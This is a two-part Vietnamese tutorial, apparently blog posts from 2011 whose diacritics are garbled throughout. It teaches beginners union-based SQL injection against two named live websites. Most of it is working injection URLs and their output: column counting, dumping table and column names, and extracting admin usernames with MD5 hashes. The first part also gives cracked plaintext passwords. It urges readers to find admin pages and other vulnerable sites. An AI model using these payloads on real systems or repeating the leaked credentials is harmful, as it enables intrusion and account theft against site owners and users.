
I. H ng D n Hack Website L i SQL C B nướ ẫ ỗ ơ ả
Tuesday, August 2, 2011 6:31:59 PM
Hacking Website - SQL injection
H ng D n Hack website l i MYSQL cho newbie:ướ ẫ ỗ
B c 1ướ : Tìm Đ ng link b l iườ ị ỗ
+) Search đ ng link bi l i, ví d : ườ ỗ ụ http://www.konka.co.nz/productdetail.php?id=34
+) Ki m tra đ ng link có b l i hay ko b ng cách thêm d u " ' ":ể ườ ị ỗ ằ ấ
http://www.konka.co.nz/productdetail.php?id=34’
+) Nó hi n ra l i nè: ệ ỗ You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near '\'' at line 1
B c 2ướ : Xác Đ nh S C t Có Trong Databaseị ố ộ
+) Chèn sau url đo n mã : ạorder by ….-- (… là giá tr s , th cho đ n khi nào link b l i thìị ố ứ ế ị ỗ
d ng l i )ừ ạ
Ví d : ụhttp://www.konka.co.nz/productdetail.php?id=34 order by 4--
+) Site v n không hi n ra l i, ti p t c th :ẫ ệ ỗ ế ụ ử
http://www.konka.co.nz/productdetail.php?id=34 order by 20--
Nó hi n ra l i r i kìa: Warning: ệ ỗ ồ mysql_fetch_array(): supplied argument is not a valid MySQL
result resource in /usr/local/www/vhosts/konka.co.nz/httpdocs/productdetail.php on line 26
+) Ch ng t s c t c n tìm n m gi a 4 và 20, ti p t c th :ứ ỏ ố ộ ầ ằ ữ ế ụ ử
http://www.konka.co.nz/productdetail.php?id=34 order by 10--
+) Nó ko hi n ra l i, ch ng t s c t c n tìm n m gi a 10 và 20, ti p t c thệ ỗ ứ ỏ ố ộ ầ ằ ữ ế ụ ử
http://www.konka.co.nz/productdetail.php?id=34 order by 15--
+) V n không hi n ra l i, ti p t c:ẫ ệ ỗ ế ụ
http://www.konka.co.nz/productdetail.php?id=34 order by 16—
Ah` ha, nó ra l i r i:ỗ ồ Warning: mysql_fetch_array(): supplied argument is not a valid MySQL
result resource in /usr/local/www/vhosts/konka.co.nz/httpdocs/productdetail.php on line 26
Suy ra s c t có trong database là 16 -1 =15ố ộ
Ok. B t đ u khai thác ti p.ắ ầ ế

B c 3:ướ Exploit Tên Các Tables TRong Database:
+) Đánh sau link l i đo n mã: ỗ ạ and 1=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
M c đích: Tìm c t b l i đ khai thác t c t đó khai thác ra toàn b database.ụ ộ ị ỗ ể ừ ộ ộ
Ví d : ụhttp://www.konka.co.nz/productdetail.php?id=34 and 1=0 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
+) Ok! Đã tìm ra c t b l i: đó là s “ 3 ”, ti p t c khai thác, chèn đo n mã này vào s 3:ộ ị ỗ ố ế ụ ạ ố
unhex(hex(group_concat(table_name))) và câu l nh sau s 15: ệ ố from information_schema.tables
Ví du: http://www.konka.co.nz/productdetail.php?id=34 and 1=0 union select
1,2,unhex(hex(group_concat(table_name))),4,5,6,7,8 ,9,10,11,12,13,14,15 from
information_schema.tables--
+) Nó đa hi n ra toàn b tên b ng có trong database:ệ ộ ả
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,C
OLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN
_USAGE,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEG
ES,STATISTICS,TABLES, TABLE_CONSTRAINTS, TABLE_PRIVI LEGES,
TRIGGERS,USER_PRIVILEGES,VIEWS,active_guests
,active_users,banned_users,tb_cat,tb_news,tb_news_
category,tb_page,tb_page_category,tb_product,tb_pr
oduct_category,tb_product_model,tb_product_pixel,t b_product_price,
tb_product_selection,tb_product_su b_category,tb_return,tb_return_comments,tb_return_
status,users
+) Ta chú ý th y table có tên users s ch a thông tin v tài kho n admin. Ok, ta s khai thácấ ẽ ứ ề ả ẽ
table này:
Chèn đo n mã này vào s 3:ạ ố unhex(hex(group_concat(column_name))) và câu l nh sau s 15:ệ ố
from information_schema.columns where table_name=0x7573657273--
l u ý: 7573657273 chính là users d ng hex, ta có th chuy n đ i t d ng chu i sang d ngư ở ạ ể ể ổ ừ ạ ỗ ạ
hex, b ng cách: vao google đánh:” convert string to hex” s có link chuy n đ i đâu tiên:ằ ẽ ể ổ ở
http://www.string-functions.com/string-hex.aspx
Ví d : ụhttp://www.konka.co.nz/productdetail.php?id=34 and 1=0 union select 1,2,
unhex(hex(group_concat(column_name))),4,5,6,7,8,9, 10,11,12,13,14,15 from
information_schema.columns where table_name=0x7573657273--
Ok, ta đã có thông tin v tên các c t trong table “users”:ề ộ
username,password,userid,userlevel,email,timestamp
Chúng ta đã th y c t username và password, ti p t c khai thác đ l y thông tinấ ộ ế ụ ể ấ
B c 4:ướ

+) Chèn đo n mã sau vào s 3: ạ ố group_concat(username,0x3a,password) và sau s 15 s là:ố ẽ
from users-- (đây chính là table ch a username và password mà ta đang khai thác).ứ
L u ý: 0x3a chính là ký t “:” ngăn cách username và password, ho c 0x2f hay 0x7c là “/”ư ự ặ
Ví d : : ụhttp://www.konka.co.nz/productdetail.php?id=34 and 1=0 union select
1,2,group_concat(username,0x3a,password),4,5,6,7,8 ,9,10,11,12,13,14,15 from users--
+) Ok, ta đã th y username và password d i d ng mã hóa md5:ấ ướ ạ
admin:e10953e3b5537c441aa16defc89359b9,
admin1:e00c f25ad42683b3df678c61f42c6bda,
test1:147538da338b770 b61e592afc92b1ee6
+) Bây gi ta gi i mã password:ờ ả
Vào link: http://www.md5cracker.org
Ta gi i mã đ c password c a username: admin là : linwood36ả ượ ủ
Username: admin1 là: admin1
Username: test1 là : testt
B c 5:ướ
+) Tìm link admin và đăng nh p vào ( đây là nhi m v c a b n nhé!).( B n có th s d ngậ ệ ụ ủ ạ ạ ể ử ụ
tool havij ho c find admin)ặ
K t lu n: +) Đây là d ng hack website l i SQL r t c b n, Mình mu n gi i thi u cho cácế ậ ạ ỗ ấ ơ ả ố ớ ệ
newbie băt đ u làm quen v i hack web, các pro trình đ cao r i đ ng có chém nhá ầ ớ ộ ồ ừ
+)Còn các trang web l i SQl thì nhiêu vô k , các b n có th t tìm l y, t t nhiên m i l i cóỗ ể ạ ể ự ấ ấ ỗ ỗ
nh ng cách khai thác khác nhau.ữ

II. Hack Site L i SQL C B n!ỗ ơ ả
Friday, August 5, 2011 1:28:59 PM
Hacking Website - SQL injection
H ng d n hack site: ướ ẫ http://thegoidimy.com
Link l i: ỗhttp://thegoidimy.com/news.php?nt=28&nid=133
Ki m tra link l i: ể ỗ http://thegoidimy.com/news.php?nt=28&nid=133'
Xu t hi n l i: Trang b thi u đi m t s thông tin ấ ệ ỗ ị ế ộ ố
B c 1ướ : Xác đ nh sô tr ng c tị ườ ộ
+) http://thegoidimy.com/news.php?nt=28&nid=133 order by 15--
Xu t hi n l i: Trang b thi u thông tin, ti p t c th nhé:ấ ệ ỗ ị ế ế ụ ử
+) http://thegoidimy.com/news.php?nt=28&nid=133 order by 9--
Trang ho t đ ng bình th ng, ti p t cạ ộ ườ ế ụ
+)http://thegoidimy.com/news.php?nt=28&nid=133 order by 10--
Trang b l i nh cũ, ch ng t s tr ng c t b l i là: 10 – 1= 9ị ỗ ư ữ ỏ ố ườ ộ ị ỗ
B c 2ướ : Xác Đ nh c t b l i:ị ộ ị ỗ
+) http://thegoidimy.com/news.php?nt=28&nid=133 union select 1,2,3,4,5,6,7,8,9—
Câu l nh đúng c r i, sao không th y s mã gì c , kh c ph c: thay: 133 = nullệ ả ồ ấ ố ả ắ ụ
+) http://thegoidimy.com/news.php?nt=28&nid=null union select 1,2,3,4,5,6,7,8,9—
Ah`, đã ra s r i nhé, s 2 và s 4. Th xem version nó xem sao:ố ồ ố ố ử
+ http://thegoidimy.com/news.php?nt=28&nid=null union select 1,version(),3,4,5,6,7,8,9—
Ok, đã xuât hiên version 5. , th không c n ph i đoán tables và columns r i. Có th s d ngế ầ ả ồ ể ử ụ
unhex(hex(………
B c 3ướ : Exploit tên tables
+)http://thegoidimy.com/news.php?nt=28&nid=null union select
1,unhex(hex(group_concat(table_name))),3,4,5,6,7,8,9 from information_schema.tables-- -
Đã xuât hi n danh sách các tables:ệ
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLU
MNS,COLUMN_PRIVILEGES,KEY_COLUMN_USAGE,PROFILING,ROUTINES,SCHEMATA,
SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,T
RIGGERS,USER_PRIVILEGES,VIEWS,itkg_accessnumber,itkg_advertising,itkg_chat_lines,itkg
_chat_online,itkg_chat_settings,itkg_chat_users,itkg_comments,itkg_config_site,itkg_contact,itk

g_contact_purpose,itkg_country,itkg_customer,itkg_customer_support,itkg_documents,itkg_favo
rite_list,itkg_flash,itkg_func,itkg_hotel_booking,itkg_hotel_roomtype,itkg_intro,itkg_map_distri
ct,itkg_music,itkg_musicalbum,itkg_news,itkg_news_category,itkg_news_feedback,itkg_news_ty
pe,itkg_orders,itkg_orders_details,itkg_payment,itkg_picturealbum,itkg_picturelib,itkg_postion,i
tkg_postion_service,itkg_process,itkg_products,itkg_products_category,itkg_products_type,itkg_
reports,itkg_role,itkg_role_func,itkg_rss,itkg_service,itkg_service_category,itkg_users,itkg_vide
o,itkg_videoalbum,news_address,news_category,news_category_description,
Chúng ta chú y đ n table có tên là: ếitkg_users , ta s khai thác column trong table nàyẽ
B c 4ướ : Exploit tên Columns
L u ý: +) itkg_users có mã hex là: 69746b675f7573657273 ư
+) link đ i d ng chu i sang hex: ổ ạ ỗ http://www.string-functions.com/string-hex.aspx
+) “/” có mã hex là : 0x7c
Ok! Chúng ta ti p t c:ế ụ
+) http://thegoidimy.com/news.php?nt=28&nid=null union select
1,unhex(hex(group_concat(column_name))),3,4,5,6,7,8,9 from information_schema.columns
where table_name=0x69746b675f7573657273—
Các column đã b lòi ra r i nhé:ị ố
username,password,fullname,address,phone,email,promotion_info,active,active_code,status,last
est_login,
Ta ch quan tâm đ n 2 columns: ỉ ế username,password là đ ủ
B c 5ướ : Get thông tin
+) http://thegoidimy.com/news.php?nt=28&nid=null union select
1,group_concat(username,0x7c,password),3,4,5,6,7,8,9 from itkg_users –
Ok! Đã có thông tin c a username và password r i nhé:ủ ồ
admin|c4ca4238a0b923820dcc509a6f75849b,
manager|1d0258c2440a8d19e716292b231e3190,
user|ee11cbb19052e40b07aac0ca060c23ee
B c 6:ướ Tìm link admin và gi i mãả

